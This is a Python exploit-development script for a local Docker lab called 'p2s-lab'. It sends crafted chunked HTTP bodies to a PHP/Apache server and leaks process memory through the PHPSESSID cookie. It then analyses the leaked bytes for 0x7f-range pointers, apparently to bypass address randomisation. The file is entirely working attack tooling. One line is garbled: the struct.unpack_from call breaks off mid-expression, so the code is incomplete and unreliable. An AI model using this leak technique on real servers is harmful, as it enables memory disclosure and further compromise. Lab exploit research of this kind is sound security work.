#!/usr/bin/env python import os import socket import struct import subprocess import sys import time import urllib.parse from collections import Counter HERE = os.path.dirname(os.path.abspath(__file__)) PURE = os.path.join(HERE, "upstream", "pure") PORT = int(sys.argv[1]) if len(sys.argv) > 1 else 18110 NAME = sys.argv[2] if len(sys.argv) > 2 else "p2s-lab" CAP = os.path.join(HERE, "captures") os.makedirs(CAP, exist_ok=True) LEAK_SPEC = ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"]) def sh(cmd): return subprocess.run(cmd, shell=True, capture_output=True, text=True).stdout.strip() def workers(): return sh('docker exec %s sh -c "pgrep -f apache2 | tr \'\\n\' \' \'"' % NAME) def warm(): s = socket.create_connection(("127.0.0.1", PORT), timeout=5) s.sendall(b"GET /index.php HTTP/1.0\r\nHost: x\r\n\r\n") s.recv(1024) s.close() def send(body_file, path, chunked, save=""): cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"), "--port", str(PORT), "--body-file", body_file, "--path", path, "--timeout", "300"] if save: cmd += ["--save-response", save] subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL) return open(save, "rb").read() if save else b"" def step(label, body, path, chunked): print("[%s] workers_before=%s" % (label, workers())) t0 = time.time() save = os.path.join(CAP, "diag_%s.resp" % label) if chunked: resp = send(body, path, True, save) else: t0 = time.time() resp = send(body, path, False, save) print("[%s] %.2fs resp=%d status=%r workers_after=%s" % ( label, time.time() - t0, len(resp), resp.split(b"\r\n", 1)[0][:70], workers())) return resp os.makedirs(CAP, exist_ok=True) print("restarting", NAME) sh("docker restart %s" % NAME) time.sleep(2.0) print("ready:", sh('curl -s -m 5 http://127.0.0.1:%d/index.php' % PORT)) warm() print("workers warm=%s" % workers()) a1 = os.path.join(CAP, "diag_a1.bin") subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"), "--out", a1, "--big", "78"], check=True, stdout=subprocess.DEVNULL) print("a1 bytes=%d" % os.path.getsize(a1)) step("a1", a1, "/index.php?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v", True) b1 = os.path.join(CAP, "diag_b1.bin") subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"), "--out", b1, "--spec", LEAK_SPEC, "--fake-len", "0xC8000", "--tag"], check=True, stdout=subprocess.DEVNULL) print("b1 bytes=%d" % os.path.getsize(b1)) resp = step("b1", b1, "/index.php", True) i = resp.find(b"Set-Cookie: PHPSESSID=") print("set-cookie at=%d" % i) if i < 0: print("head:", resp[:400]) raise SystemExit(1) val = resp[i + len(b"Set-Cookie: PHPSESSID="):].split(b"\r\n")[0] dec = urllib.parse.unquote_to_bytes(val.decode("latin1")) print("raw=%d decoded=%d" % (len(val), len(dec))) open(os.path.join(CAP, "diag_decoded.bin"), "wb").write(dec) hist = Counter() top = Counter() for off in range(0, len(dec) - 7, 8): q = struct.unpack_from("> 40] += 1 if q: top[q] += 1 print("high-byte hist:", [(hex(k << 40), v) for k, v in hist.most_common(6)]) print("top qwords:") for q, c in top.most_common(6): print(" %#018x x%d" % (q, c)) print("0x7f range:", sum(c for q, c in top.items() if 0x7F0000000000 <= q <= 0x7FFFFFFFFFFF)) print("ascii head:", dec[:150].decode("latin1").replace("\x00", ".")) print("byte histogram top:", Counter(dec).most_common(6))